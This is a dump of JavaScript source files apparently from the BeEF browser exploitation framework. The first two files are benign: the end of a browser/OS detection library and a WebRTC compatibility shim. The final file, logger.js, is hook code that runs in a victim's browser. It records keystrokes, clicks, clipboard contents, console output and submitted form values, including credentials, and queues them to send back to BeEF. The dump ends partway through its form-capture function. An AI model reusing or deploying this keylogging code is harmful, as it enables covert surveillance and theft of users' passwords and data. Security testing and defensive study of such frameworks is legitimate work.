) && !reOpera.test((data = parse.call(forOwn, ua.replace(reOpera, '') + ';'))) && data.name) {\n      // When \"identifying\", the UA contains both Opera and the other browser's name.\n      data = 'ing as ' + data.name + ((data = data.version) ? ' ' + data : '');\n      if (reOpera.test(name)) {\n        if (/\\bIE\\b/.test(data) && os == 'Mac OS') {\n          os = null;\n        }\n        data = 'identify' + data;\n      }\n      // When \"masking\", the UA contains only the other browser's name.\n      else {\n        data = 'mask' + data;\n        if (operaClass) {\n          name = format(operaClass.replace(/([a-z])([A-Z])/g, '$1 $2'));\n        } else {\n          name = 'Opera';\n        }\n        if (/\\bIE\\b/.test(data)) {\n          os = null;\n        }\n        if (!useFeatures) {\n          version = null;\n        }\n      }\n      layout = ['Presto'];\n      description.push(data);\n    }\n    // Detect WebKit Nightly and approximate Chrome/Safari versions.\n    if ((data = (/\\bAppleWebKit\\/([\\d.]+\\+?)/i.exec(ua) || 0)[1])) {\n      // Correct build number for numeric comparison.\n      // (e.g. \"532.5\" becomes \"532.05\")\n      data = [parseFloat(data.replace(/\\.(\\d)$/, '.0$1')), data];\n      // Nightly builds are postfixed with a \"+\".\n      if (name == 'Safari' && data[1].slice(-1) == '+') {\n        name = 'WebKit Nightly';\n        prerelease = 'alpha';\n        version = data[1].slice(0, -1);\n      }\n      // Clear incorrect browser versions.\n      else if (version == data[1] ||\n          version == (data[2] = (/\\bSafari\\/([\\d.]+\\+?)/i.exec(ua) || 0)[1])) {\n        version = null;\n      }\n      // Use the full Chrome version when available.\n      data[1] = (/\\b(?:Headless)?Chrome\\/([\\d.]+)/i.exec(ua) || 0)[1];\n      // Detect Blink layout engine.\n      if (data[0] == 537.36 && data[2] == 537.36 && parseFloat(data[1]) >= 28 && layout == 'WebKit') {\n        layout = ['Blink'];\n      }\n      // Detect JavaScriptCore.\n      // http://stackoverflow.com/questions/6768474/how-can-i-detect-which-javascript-engine-v8-or-jsc-is-used-at-runtime-in-androi\n      if (!useFeatures || (!likeChrome && !data[1])) {\n        layout && (layout[1] = 'like Safari');\n        data = (data = data[0], data < 400 ? 1 : data < 500 ? 2 : data < 526 ? 3 : data < 533 ? 4 : data < 534 ? '4+' : data < 535 ? 5 : data < 537 ? 6 : data < 538 ? 7 : data < 601 ? 8 : data < 602 ? 9 : data < 604 ? 10 : data < 606 ? 11 : data < 608 ? 12 : '12');\n      } else {\n        layout && (layout[1] = 'like Chrome');\n        data = data[1] || (data = data[0], data < 530 ? 1 : data < 532 ? 2 : data < 532.05 ? 3 : data < 533 ? 4 : data < 534.03 ? 5 : data < 534.07 ? 6 : data < 534.10 ? 7 : data < 534.13 ? 8 : data < 534.16 ? 9 : data < 534.24 ? 10 : data < 534.30 ? 11 : data < 535.01 ? 12 : data < 535.02 ? '13+' : data < 535.07 ? 15 : data < 535.11 ? 16 : data < 535.19 ? 17 : data < 536.05 ? 18 : data < 536.10 ? 19 : data < 537.01 ? 20 : data < 537.11 ? '21+' : data < 537.13 ? 23 : data < 537.18 ? 24 : data < 537.24 ? 25 : data < 537.36 ? 26 : layout != 'Blink' ? '27' : '28');\n      }\n      // Add the postfix of \".x\" or \"+\" for approximate versions.\n      layout && (layout[1] += ' ' + (data += typeof data == 'number' ? '.x' : /[.+]/.test(data) ? '' : '+'));\n      // Obscure version for some Safari 1-2 releases.\n      if (name == 'Safari' && (!version || parseInt(version) > 45)) {\n        version = data;\n      } else if (name == 'Chrome' && /\\bHeadlessChrome/i.test(ua)) {\n        description.unshift('headless');\n      }\n    }\n    // Detect Opera desktop modes.\n    if (name == 'Opera' &&  (data = /\\bzbov|zvav$/.exec(os))) {\n      name += ' ';\n      description.unshift('desktop mode');\n      if (data == 'zvav') {\n        name += 'Mini';\n        version = null;\n      } else {\n        name += 'Mobile';\n      }\n      os = os.replace(RegExp(' *' + data + '$'), '');\n    }\n    // Detect Chrome desktop mode.\n    else if (name == 'Safari' && /\\bChrome\\b/.exec(layout && layout[1])) {\n      description.unshift('desktop mode');\n      name = 'Chrome Mobile';\n      version = null;\n\n      if (/\\bOS X\\b/.test(os)) {\n        manufacturer = 'Apple';\n        os = 'iOS 4.3+';\n      } else {\n        os = null;\n      }\n    }\n    // Newer versions of SRWare Iron uses the Chrome tag to indicate its version number.\n    else if (/\\bSRWare Iron\\b/.test(name) && !version) {\n      version = getVersion('Chrome');\n    }\n    // Strip incorrect OS versions.\n    if (version && version.indexOf((data = /[\\d.]+$/.exec(os))) == 0 &&\n        ua.indexOf('/' + data + '-') > -1) {\n      os = trim(os.replace(data, ''));\n    }\n    // Ensure OS does not include the browser name.\n    if (os && os.indexOf(name) != -1 && !RegExp(name + ' OS').test(os)) {\n      os = os.replace(RegExp(' *' + qualify(name) + ' *'), '');\n    }\n    // Add layout engine.\n    if (layout && !/\\b(?:Avant|Nook)\\b/.test(name) && (\n        /Browser|Lunascape|Maxthon/.test(name) ||\n        name != 'Safari' && /^iOS/.test(os) && /\\bSafari\\b/.test(layout[1]) ||\n        /^(?:Adobe|Arora|Breach|Midori|Opera|Phantom|Rekonq|Rock|Samsung Internet|Sleipnir|SRWare Iron|Vivaldi|Web)/.test(name) && layout[1])) {\n      // Don't add layout details to description if they are falsey.\n      (data = layout[layout.length - 1]) && description.push(data);\n    }\n    // Combine contextual information.\n    if (description.length) {\n      description = ['(' + description.join('; ') + ')'];\n    }\n    // Append manufacturer to description.\n    if (manufacturer && product && product.indexOf(manufacturer) < 0) {\n      description.push('on ' + manufacturer);\n    }\n    // Append product to description.\n    if (product) {\n      description.push((/^on /.test(description[description.length - 1]) ? '' : 'on ') + product);\n    }\n    // Parse the OS into an object.\n    if (os) {\n      data = / ([\\d.+]+)$/.exec(os);\n      isSpecialCasedOS = data && os.charAt(os.length - data[0].length - 1) == '/';\n      os = {\n        'architecture': 32,\n        'family': (data && !isSpecialCasedOS) ? os.replace(data[0], '') : os,\n        'version': data ? data[1] : null,\n        'toString': function() {\n          var version = this.version;\n          return this.family + ((version && !isSpecialCasedOS) ? ' ' + version : '') + (this.architecture == 64 ? ' 64-bit' : '');\n        }\n      };\n    }\n    // Add browser/OS architecture.\n    if ((data = /\\b(?:AMD|IA|Win|WOW|x86_|x)64\\b/i.exec(arch)) && !/\\bi686\\b/i.test(arch)) {\n      if (os) {\n        os.architecture = 64;\n        os.family = os.family.replace(RegExp(' *' + data), '');\n      }\n      if (\n          name && (/\\bWOW64\\b/i.test(ua) ||\n          (useFeatures && /\\w(?:86|32)$/.test(nav.cpuClass || nav.platform) && !/\\bWin64; x64\\b/i.test(ua)))\n      ) {\n        description.unshift('32-bit');\n      }\n    }\n    // Chrome 39 and above on OS X is always 64-bit.\n    else if (\n        os && /^OS X/.test(os.family) &&\n        name == 'Chrome' && parseFloat(version) >= 39\n    ) {\n      os.architecture = 64;\n    }\n\n    ua || (ua = null);\n\n    /*------------------------------------------------------------------------*/\n\n    /**\n     * The platform object.\n     *\n     * @name platform\n     * @type Object\n     */\n    var platform = {};\n\n    /**\n     * The platform description.\n     *\n     * @memberOf platform\n     * @type string|null\n     */\n    platform.description = ua;\n\n    /**\n     * The name of the browser's layout engine.\n     *\n     * The list of common layout engines include:\n     * \"Blink\", \"EdgeHTML\", \"Gecko\", \"Trident\" and \"WebKit\"\n     *\n     * @memberOf platform\n     * @type string|null\n     */\n    platform.layout = layout && layout[0];\n\n    /**\n     * The name of the product's manufacturer.\n     *\n     * The list of manufacturers include:\n     * \"Apple\", \"Archos\", \"Amazon\", \"Asus\", \"Barnes & Noble\", \"BlackBerry\",\n     * \"Google\", \"HP\", \"HTC\", \"LG\", \"Microsoft\", \"Motorola\", \"Nintendo\",\n     * \"Nokia\", \"Samsung\" and \"Sony\"\n     *\n     * @memberOf platform\n     * @type string|null\n     */\n    platform.manufacturer = manufacturer;\n\n    /**\n     * The name of the browser/environment.\n     *\n     * The list of common browser names include:\n     * \"Chrome\", \"Electron\", \"Firefox\", \"Firefox for iOS\", \"IE\",\n     * \"Microsoft Edge\", \"PhantomJS\", \"Safari\", \"SeaMonkey\", \"Silk\",\n     * \"Opera Mini\" and \"Opera\"\n     *\n     * Mobile versions of some browsers have \"Mobile\" appended to their name:\n     * eg. \"Chrome Mobile\", \"Firefox Mobile\", \"IE Mobile\" and \"Opera Mobile\"\n     *\n     * @memberOf platform\n     * @type string|null\n     */\n    platform.name = name;\n\n    /**\n     * The alpha/beta release indicator.\n     *\n     * @memberOf platform\n     * @type string|null\n     */\n    platform.prerelease = prerelease;\n\n    /**\n     * The name of the product hosting the browser.\n     *\n     * The list of common products include:\n     *\n     * \"BlackBerry\", \"Galaxy S4\", \"Lumia\", \"iPad\", \"iPod\", \"iPhone\", \"Kindle\",\n     * \"Kindle Fire\", \"Nexus\", \"Nook\", \"PlayBook\", \"TouchPad\" and \"Transformer\"\n     *\n     * @memberOf platform\n     * @type string|null\n     */\n    platform.product = product;\n\n    /**\n     * The browser's user agent string.\n     *\n     * @memberOf platform\n     * @type string|null\n     */\n    platform.ua = ua;\n\n    /**\n     * The browser/environment version.\n     *\n     * @memberOf platform\n     * @type string|null\n     */\n    platform.version = name && version;\n\n    /**\n     * The name of the operating system.\n     *\n     * @memberOf platform\n     * @type Object\n     */\n    platform.os = os || {\n\n      /**\n       * The CPU architecture the OS is built for.\n       *\n       * @memberOf platform.os\n       * @type number|null\n       */\n      'architecture': null,\n\n      /**\n       * The family of the OS.\n       *\n       * Common values include:\n       * \"Windows\", \"Windows Server 2008 R2 / 7\", \"Windows Server 2008 / Vista\",\n       * \"Windows XP\", \"OS X\", \"Linux\", \"Ubuntu\", \"Debian\", \"Fedora\", \"Red Hat\",\n       * \"SuSE\", \"Android\", \"iOS\" and \"Windows Phone\"\n       *\n       * @memberOf platform.os\n       * @type string|null\n       */\n      'family': null,\n\n      /**\n       * The version of the OS.\n       *\n       * @memberOf platform.os\n       * @type string|null\n       */\n      'version': null,\n\n      /**\n       * Returns the OS string.\n       *\n       * @memberOf platform.os\n       * @returns {string} The OS string.\n       */\n      'toString': function() { return 'null'; }\n    };\n\n    platform.parse = parse;\n    platform.toString = toStringPlatform;\n\n    if (platform.version) {\n      description.unshift(version);\n    }\n    if (platform.name) {\n      description.unshift(name);\n    }\n    if (os && name && !(os == String(os).split(' ')[0] && (os == name.split(' ')[0] || product))) {\n      description.push(product ? '(' + os + ')' : 'on ' + os);\n    }\n    if (description.length) {\n      platform.description = description.join(' ');\n    }\n    return platform;\n  }\n\n  /*--------------------------------------------------------------------------*/\n\n  // Export platform.\n  var platform = parse();\n\n  // Some AMD build optimizers, like r.js, check for condition patterns like the following:\n  if (typeof define == 'function' && typeof define.amd == 'object' && define.amd) {\n    // Expose platform on the global object to prevent errors when platform is\n    // loaded by a script tag in the presence of an AMD loader.\n    // See http://requirejs.org/docs/errors.html#mismatch for more details.\n    root.platform = platform;\n\n    // Define as an anonymous module so platform can be aliased through path mapping.\n    define(function() {\n      return platform;\n    });\n  }\n  // Check for `exports` after `define` in case a build optimizer adds an `exports` object.\n  else if (freeExports && freeModule) {\n    // Export for CommonJS support.\n    forOwn(platform, function(value, key) {\n      freeExports[key] = value;\n    });\n  }\n  else {\n    // Export to the global object.\n    root.platform = platform;\n  }\n}.call(this));\n"
  },
  {
    "path": "core/main/client/lib/webrtcadapter.js",
    "content": "/*\n *  Copyright (c) 2014 The WebRTC project authors. All Rights Reserved.\n *\n *  Use of this source code is governed by a BSD-style license\n *  that can be found in the LICENSE file in the root of the source\n *  tree.\n */\n\n/* More information about these options at jshint.com/docs/options */\n/* jshint browser: true, camelcase: true, curly: true, devel: true,\n   eqeqeq: true, forin: false, globalstrict: true, node: true,\n   quotmark: single, undef: true, unused: strict */\n/* global mozRTCIceCandidate, mozRTCPeerConnection, Promise,\nmozRTCSessionDescription, webkitRTCPeerConnection, MediaStreamTrack */\n/* exported trace,requestUserMedia */\n\n'use strict';\n\nvar getUserMedia = null;\nvar attachMediaStream = null;\nvar reattachMediaStream = null;\nvar webrtcDetectedBrowser = null;\nvar webrtcDetectedVersion = null;\nvar webrtcMinimumVersion = null;\n\nfunction trace(text) {\n  // This function is used for logging.\n  if (text[text.length - 1] === '\\n') {\n    text = text.substring(0, text.length - 1);\n  }\n  if (window.performance) {\n    var now = (window.performance.now() / 1000).toFixed(3);\n    beef.debug(now + ': ' + text);\n  } else {\n    beef.debug(text);\n  }\n}\n\nif (navigator.mozGetUserMedia) {\n\n  webrtcDetectedBrowser = 'firefox';\n\n  // the detected firefox version.\n  webrtcDetectedVersion =\n    parseInt(navigator.userAgent.match(/Firefox\\/([0-9]+)\\./)[1], 10);\n\n  // the minimum firefox version still supported by adapter.\n  webrtcMinimumVersion = 31;\n\n  // The RTCPeerConnection object.\n  window.RTCPeerConnection = function(pcConfig, pcConstraints) {\n    if (webrtcDetectedVersion < 38) {\n      // .urls is not supported in FF < 38.\n      // create RTCIceServers with a single url.\n      if (pcConfig && pcConfig.iceServers) {\n        var newIceServers = [];\n        for (var i = 0; i < pcConfig.iceServers.length; i++) {\n          var server = pcConfig.iceServers[i];\n          if (server.hasOwnProperty('urls')) {\n            for (var j = 0; j < server.urls.length; j++) {\n              var newServer = {\n                url: server.urls[j]\n              };\n              if (server.urls[j].indexOf('turn') === 0) {\n                newServer.username = server.username;\n                newServer.credential = server.credential;\n              }\n              newIceServers.push(newServer);\n            }\n          } else {\n            newIceServers.push(pcConfig.iceServers[i]);\n          }\n        }\n        pcConfig.iceServers = newIceServers;\n      }\n    }\n    return new mozRTCPeerConnection(pcConfig, pcConstraints);\n  };\n\n  try {\n    // The RTCSessionDescription object.\n    window.RTCSessionDescription = mozRTCSessionDescription;\n\n    // The RTCIceCandidate object.\n    window.RTCIceCandidate = mozRTCIceCandidate;\n\n  }catch(err) {\n    \n  }\n\n  // getUserMedia constraints shim.\n  getUserMedia = (webrtcDetectedVersion < 38) ?\n      function(c, onSuccess, onError) {\n    var constraintsToFF37 = function(c) {\n      if (typeof c !== 'object' || c.require) {\n        return c;\n      }\n      var require = [];\n      Object.keys(c).forEach(function(key) {\n        var r = c[key] = (typeof c[key] === 'object') ?\n            c[key] : {ideal: c[key]};\n        if (r.exact !== undefined) {\n          r.min = r.max = r.exact;\n          delete r.exact;\n        }\n        if (r.min !== undefined || r.max !== undefined) {\n          require.push(key);\n        }\n        if (r.ideal !== undefined) {\n          c.advanced = c.advanced || [];\n          var oc = {};\n          oc[key] = {min: r.ideal, max: r.ideal};\n          c.advanced.push(oc);\n          delete r.ideal;\n          if (!Object.keys(r).length) {\n            delete c[key];\n          }\n        }\n      });\n      if (require.length) {\n        c.require = require;\n      }\n      return c;\n    };\n    beef.debug('spec: ' + JSON.stringify(c));\n    c.audio = constraintsToFF37(c.audio);\n    c.video = constraintsToFF37(c.video);\n    beef.debug('ff37: ' + JSON.stringify(c));\n    return navigator.mozGetUserMedia(c, onSuccess, onError);\n  } : navigator.mozGetUserMedia.bind(navigator);\n\n  navigator.getUserMedia = getUserMedia;\n\n  // Shim for mediaDevices on older versions.\n  if (!navigator.mediaDevices) {\n    navigator.mediaDevices = {getUserMedia: requestUserMedia,\n      addEventListener: function() { },\n      removeEventListener: function() { }\n    };\n  }\n  navigator.mediaDevices.enumerateDevices =\n      navigator.mediaDevices.enumerateDevices || function() {\n    return new Promise(function(resolve) {\n      var infos = [\n        {kind: 'audioinput', deviceId: 'default', label:'', groupId:''},\n        {kind: 'videoinput', deviceId: 'default', label:'', groupId:''}\n      ];\n      resolve(infos);\n    });\n  };\n\n  if (webrtcDetectedVersion < 41) {\n    // Work around http://bugzil.la/1169665\n    var orgEnumerateDevices =\n        navigator.mediaDevices.enumerateDevices.bind(navigator.mediaDevices);\n    navigator.mediaDevices.enumerateDevices = function() {\n      return orgEnumerateDevices().then(undefined, function(e) {\n        if (e.name === 'NotFoundError') {\n          return [];\n        }\n        throw e;\n      });\n    };\n  }\n  // Attach a media stream to an element.\n  attachMediaStream = function(element, stream) {\n    beef.debug('Attaching media stream');\n    element.mozSrcObject = stream;\n  };\n\n  reattachMediaStream = function(to, from) {\n    beef.debug('Reattaching media stream');\n    to.mozSrcObject = from.mozSrcObject;\n  };\n\n} else if (navigator.webkitGetUserMedia) {\n\n  webrtcDetectedBrowser = 'chrome';\n\n  // the detected chrome version.\n  webrtcDetectedVersion =\n    parseInt(navigator.userAgent.match(/Chrom(e|ium)\\/([0-9]+)\\./)[2], 10);\n\n  // the minimum chrome version still supported by adapter.\n  webrtcMinimumVersion = 38;\n\n  // The RTCPeerConnection object.\n  window.RTCPeerConnection = function(pcConfig, pcConstraints) {\n    var pc = new webkitRTCPeerConnection(pcConfig, pcConstraints);\n    var origGetStats = pc.getStats.bind(pc);\n    pc.getStats = function(selector, successCallback, errorCallback) { // jshint ignore: line\n      // If selector is a function then we are in the old style stats so just\n      // pass back the original getStats format to avoid breaking old users.\n      if (typeof selector === 'function') {\n        return origGetStats(selector, successCallback);\n      }\n\n      var fixChromeStats = function(response) {\n        var standardReport = {};\n        var reports = response.result();\n        reports.forEach(function(report) {\n          var standardStats = {\n            id: report.id,\n            timestamp: report.timestamp,\n            type: report.type\n          };\n          report.names().forEach(function(name) {\n            standardStats[name] = report.stat(name);\n          });\n          standardReport[standardStats.id] = standardStats;\n        });\n\n        return standardReport;\n      };\n      var successCallbackWrapper = function(response) {\n        successCallback(fixChromeStats(response));\n      };\n      return origGetStats(successCallbackWrapper, selector);\n    };\n\n    return pc;\n  };\n\n  // add promise support\n  ['createOffer', 'createAnswer'].forEach(function(method) {\n    var nativeMethod = webkitRTCPeerConnection.prototype[method];\n    webkitRTCPeerConnection.prototype[method] = function() {\n      var self = this;\n      if (arguments.length < 1 || (arguments.length === 1 &&\n          typeof(arguments[0]) === 'object')) {\n        var opts = arguments.length === 1 ? arguments[0] : undefined;\n        return new Promise(function(resolve, reject) {\n          nativeMethod.apply(self, [resolve, reject, opts]);\n        });\n      } else {\n        return nativeMethod.apply(this, arguments);\n      }\n    };\n  });\n\n  ['setLocalDescription', 'setRemoteDescription',\n      'addIceCandidate'].forEach(function(method) {\n    var nativeMethod = webkitRTCPeerConnection.prototype[method];\n    webkitRTCPeerConnection.prototype[method] = function() {\n      var args = arguments;\n      var self = this;\n      return new Promise(function(resolve, reject) {\n        nativeMethod.apply(self, [args[0],\n            function() {\n              resolve();\n              if (args.length >= 2) {\n                args[1].apply(null, []);\n              }\n            },\n            function(err) {\n              reject(err);\n              if (args.length >= 3) {\n                args[2].apply(null, [err]);\n              }\n            }]\n          );\n      });\n    };\n  });\n\n  // getUserMedia constraints shim.\n  getUserMedia = function(c, onSuccess, onError) {\n    var constraintsToChrome = function(c) {\n      if (typeof c !== 'object' || c.mandatory || c.optional) {\n        return c;\n      }\n      var cc = {};\n      Object.keys(c).forEach(function(key) {\n        if (key === 'require' || key === 'advanced') {\n          return;\n        }\n        var r = (typeof c[key] === 'object') ? c[key] : {ideal: c[key]};\n        if (r.exact !== undefined && typeof r.exact === 'number') {\n          r.min = r.max = r.exact;\n        }\n        var oldname = function(prefix, name) {\n          if (prefix) {\n            return prefix + name.charAt(0).toUpperCase() + name.slice(1);\n          }\n          return (name === 'deviceId') ? 'sourceId' : name;\n        };\n        if (r.ideal !== undefined) {\n          cc.optional = cc.optional || [];\n          var oc = {};\n          if (typeof r.ideal === 'number') {\n            oc[oldname('min', key)] = r.ideal;\n            cc.optional.push(oc);\n            oc = {};\n            oc[oldname('max', key)] = r.ideal;\n            cc.optional.push(oc);\n          } else {\n            oc[oldname('', key)] = r.ideal;\n            cc.optional.push(oc);\n          }\n        }\n        if (r.exact !== undefined && typeof r.exact !== 'number') {\n          cc.mandatory = cc.mandatory || {};\n          cc.mandatory[oldname('', key)] = r.exact;\n        } else {\n          ['min', 'max'].forEach(function(mix) {\n            if (r[mix] !== undefined) {\n              cc.mandatory = cc.mandatory || {};\n              cc.mandatory[oldname(mix, key)] = r[mix];\n            }\n          });\n        }\n      });\n      if (c.advanced) {\n        cc.optional = (cc.optional || []).concat(c.advanced);\n      }\n      return cc;\n    };\n    beef.debug('spec:   ' + JSON.stringify(c)); // whitespace for alignment\n    c.audio = constraintsToChrome(c.audio);\n    c.video = constraintsToChrome(c.video);\n    beef.debug('chrome: ' + JSON.stringify(c));\n    return navigator.webkitGetUserMedia(c, onSuccess, onError);\n  };\n  navigator.getUserMedia = getUserMedia;\n\n  // Attach a media stream to an element.\n  attachMediaStream = function(element, stream) {\n    if (typeof element.srcObject !== 'undefined') {\n      element.srcObject = stream;\n    } else if (typeof element.src !== 'undefined') {\n      element.src = URL.createObjectURL(stream);\n    } else {\n      beef.debug('Error attaching stream to element.');\n    }\n  };\n\n  reattachMediaStream = function(to, from) {\n    to.src = from.src;\n  };\n\n  if (!navigator.mediaDevices) {\n    navigator.mediaDevices = {getUserMedia: requestUserMedia,\n                              enumerateDevices: function() {\n      return new Promise(function(resolve) {\n        var kinds = {audio: 'audioinput', video: 'videoinput'};\n        return MediaStreamTrack.getSources(function(devices) {\n          resolve(devices.map(function(device) {\n            return {label: device.label,\n                    kind: kinds[device.kind],\n                    deviceId: device.id,\n                    groupId: ''};\n          }));\n        });\n      });\n    }};\n    // in case someone wants to listen for the devicechange event.\n    navigator.mediaDevices.addEventListener = function() { };\n    navigator.mediaDevices.removeEventListener = function() { };\n  }\n} else if (navigator.mediaDevices && navigator.userAgent.match(\n    /Edge\\/(\\d+).(\\d+)$/)) {\n  webrtcDetectedBrowser = 'edge';\n\n  webrtcDetectedVersion =\n    parseInt(navigator.userAgent.match(/Edge\\/(\\d+).(\\d+)$/)[2], 10);\n\n  // the minimum version still supported by adapter.\n  webrtcMinimumVersion = 12;\n\n  attachMediaStream = function(element, stream) {\n    element.srcObject = stream;\n  };\n  reattachMediaStream = function(to, from) {\n    to.srcObject = from.srcObject;\n  };\n} else {\n  // console.log('Browser does not appear to be WebRTC-capable');\n}\n\n// Returns the result of getUserMedia as a Promise.\nfunction requestUserMedia(constraints) {\n  return new Promise(function(resolve, reject) {\n    getUserMedia(constraints, resolve, reject);\n  });\n}\n\nif (typeof module !== 'undefined') {\n  module.exports = {\n    RTCPeerConnection: window.RTCPeerConnection,\n    getUserMedia: getUserMedia,\n    attachMediaStream: attachMediaStream,\n    reattachMediaStream: reattachMediaStream,\n    webrtcDetectedBrowser: webrtcDetectedBrowser,\n    webrtcDetectedVersion: webrtcDetectedVersion,\n    webrtcMinimumVersion: webrtcMinimumVersion\n    //requestUserMedia: not exposed on purpose.\n    //trace: not exposed on purpose.\n  };\n} else if ((typeof require === 'function') && (typeof define === 'function')) {\n  // Expose objects and functions when RequireJS is doing the loading.\n  define([], function() {\n    return {\n      RTCPeerConnection: window.RTCPeerConnection,\n      getUserMedia: getUserMedia,\n      attachMediaStream: attachMediaStream,\n      reattachMediaStream: reattachMediaStream,\n      webrtcDetectedBrowser: webrtcDetectedBrowser,\n      webrtcDetectedVersion: webrtcDetectedVersion,\n      webrtcMinimumVersion: webrtcMinimumVersion\n      //requestUserMedia: not exposed on purpose.\n      //trace: not exposed on purpose.\n    };\n  });\n}\n"
  },
  {
    "path": "core/main/client/logger.js",
    "content": "//\n// Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\n/**\n * Provides logging capabilities.\n * @namespace beef.logger\n */\nbeef.logger = {\n\t\n\trunning: false,\n    /**\n    * Internal logger id\n    */\n    id: 0,\n\t/**\n\t * Holds events created by user, to be sent back to BeEF\n\t */\n\tevents: [],\n\t/**\n\t * Holds current stream of key presses\n\t */\n\tstream: [],\n\t/**\n\t * Contains current target of key presses\n\t */\n\ttarget: null,\n\t/**\n\t * Holds the time the logger was started\n\t */\n\ttime: null,\n    /**\n    * Holds the event details to be sent to BeEF\n    */\n    e: function() {\n        this.id = beef.logger.get_id();\n        this.time = beef.logger.get_timestamp();\n        this.type = null;\n        this.x = 0;\n        this.y = 0;\n        this.target = null;\n        this.data = null;\n        this.mods = null;\n    },\n    /**\n     * Prevents from recursive event handling on form submission\n     */\n    in_submit: false,\n\t\n\t/**\n\t * Starts the logger\n\t */\n\tstart: function() {\n\n\t\tbeef.browser.hookChildFrames();\n\t\tthis.running = true;\n\t\tvar d = new Date();\n\t\tthis.time = d.getTime();\n\n        $j(document).off('keypress');\n        $j(document).off('click');\n        $j(window).off('focus');\n        $j(window).off('blur');\n        $j('form').off('submit');\n        $j(document.body).off('copy');\n        $j(document.body).off('cut');\n        $j(document.body).off('paste');\n\n        if (!!window.console && typeof window.console == \"object\") {\n          try {\n            var oldInfo = window.console.info;\n            console.info = function (message) {\n              beef.logger.console('info', message);\n              oldInfo.apply(console, arguments);\n            };\n            var oldLog = window.console.log;\n            console.log = function (message) {\n              beef.logger.console('log', message);\n              oldLog.apply(console, arguments);\n            };\n            var oldWarn = window.console.warn;\n            console.warn = function (message) {\n              beef.logger.console('warn', message);\n              oldWarn.apply(console, arguments);\n            };\n            var oldDebug = window.console.debug;\n            console.debug = function (message) {\n              beef.logger.console('debug', message);\n              oldDebug.apply(console, arguments);\n            };\n            var oldError = window.console.error;\n            console.error = function (message) {\n              beef.logger.console('error', message);\n              oldError.apply(console, arguments);\n            };\n         } catch(e) {}\n       }\n\n\t\t$j(document).keypress(\n\t\t\tfunction(e) { beef.logger.keypress(e); }\n\t\t).click(\n\t\t\tfunction(e) { beef.logger.click(e); }\n\t\t);\n\t\t$j(window).focus(\n\t\t\tfunction(e) { beef.logger.win_focus(e); }\n\t\t).blur(\n\t\t\tfunction(e) { beef.logger.win_blur(e); }\n\t\t);\n\t\t$j('form').submit(\n\t\t\tfunction(e) { \n                beef.logger.submit(e); \n            }\n\t\t);\n\t\t$j(document.body).on('copy', function() {\n\t\t\tsetTimeout(\"beef.logger.copy();\", 10);\n\t\t});\n\t\t$j(document.body).on('cut', function() {\n\t\t\tsetTimeout(\"beef.logger.cut();\", 10);\n\t\t});\n\t\t$j(document.body).on('paste', function() {\n\t\t\tbeef.logger.paste();\n\t\t});\n\t},\n\t\n\t/**\n\t * Stops the logger\n\t */\n\tstop: function() {\n\t\tthis.running = false;\n\t\tclearInterval(this.timer);\n        $j(document).off('keypress');\n        $j(document).off('click');\n        $j(window).off('focus');\n        $j(window).off('blur');\n        $j('form').off('submit');\n        $j(document.body).off('copy');\n        $j(document.body).off('cut');\n        $j(document.body).off('paste');\n        // TODO: reset console\n\t},\n\n    /**\n    * Get id\n    */\n    get_id: function() {\n        this.id++;\n        return this.id;\n    },\n\n\t/**\n\t * Click function fires when the user clicks the mouse.\n\t */\n\tclick: function(e) {\n        var c = new beef.logger.e();\n        c.type = 'click';\n        c.x = e.pageX;\n        c.y = e.pageY;\n        c.target = beef.logger.get_dom_identifier(e.target);\n        this.events.push(c);\n\t},\n\t\n\t/**\n\t * Fires when the window element has regained focus\n\t */\n\twin_focus: function(e) {\n        var f = new beef.logger.e();\n        f.type = 'focus';\n        this.events.push(f);\n\t},\n\t\n\t/**\n\t * Fires when the window element has lost focus\n\t */\n\twin_blur: function(e) {\n        var b = new beef.logger.e();\n        b.type = 'blur';\n\t\tthis.events.push(b);\n\t},\n\t\n\t/**\n\t * Keypress function fires everytime a key is pressed.\n\t * @param {Object} e: event object\n\t */\n\tkeypress: function(e) {\n\t\tif (this.target == null || ($j(this.target).get(0) !== $j(e.target).get(0)))\n\t\t{\n\t\t\tbeef.logger.push_stream();\n\t\t\tthis.target = e.target;\n\t\t}\n\t\tthis.stream.push({'char':e.which, 'modifiers': {'alt':e.altKey, 'ctrl':e.ctrlKey, 'shift':e.shiftKey}});\n\t},\n\t\n\t/**\n\t * Copy function fires when the user copies data to the clipboard.\n\t */\n\tcopy: function(x) {\n\t\ttry {\n\t\t\tvar c = new beef.logger.e();\n\t\t\tc.type = 'copy';\n\t\t\tc.data = clipboardData.getData(\"Text\");\n\t\t\tthis.events.push(c);\n\t\t} catch(e) {}\n\t},\n\n\t/**\n\t * Cut function fires when the user cuts data to the clipboard.\n\t */\n\tcut: function() {\n\t\ttry {\n\t\t\tvar c = new beef.logger.e();\n\t\t\tc.type = 'cut';\n\t\t\tc.data = clipboardData.getData(\"Text\");\n\t\t\tthis.events.push(c);\n\t\t} catch(e) {}\n\t},\n\n        /**\n         * Console function fires when data is sent to the browser console.\n         */\n        console: function(type, message) {\n\t\ttry {\n\t\t\tvar c = new beef.logger.e();\n\t\t\tc.type = 'console';\n\t\t\tc.data = type + ': ' + message;\n\t\t\tthis.events.push(c);\n\t\t} catch(e) {}\n\t},\n\n\t/**\n\t * Paste function fires when the user pastes data from the clipboard.\n\t */\n\tpaste: function() {\n\t\ttry {\n\t\t\tvar c = new beef.logger.e();\n\t\t\tc.type = 'paste';\n\t\t\tc.data = clipboardData.getData(\"Text\");\n\t\t\tthis.events.push(c);\n\t\t} catch(e) {}\n\t},\n\n\t/**\n\t * Submit function fires whenever a form is submitted\n     * TODO: Cleanup this function\n\t */\n\tsubmit: function(e) {\n        if (beef.logger.in_submit) {\n            return true;\n        }\n\t\ttry {\n\t\t\tvar f = new beef.logger.e();\n\t\t\tf.type = 'submit';\n\t\t\tf.target = beef.logger.get_dom_identifier(e.target);\n            var jqForms = $j(e.target);\n            var values = jqForms.find('input').map(function() { \n                    var inp = $j(this);    \n                    return inp.attr('name') + '=' + inp.val(); \n                }).get().join();\n            beef.debug('submitting form inputs: ' + values);\n            /*\n\t\t\tfor (var i = 0; i < e.target.elements.length; i++) {\n\t            values += \"[\"+i+\"] \"+e.target.elements[i].name+\"=\"+e.target.elements[i].value+\"\\n\";\n\t        }\n            */\n\t\t\tf.data = 'Action: '+jqForms.attr('action')+' - Method: '+$j(e.target).attr('method') + ' - Values:\\n'+values;\n\t\t\tthis.events.push(f);\n            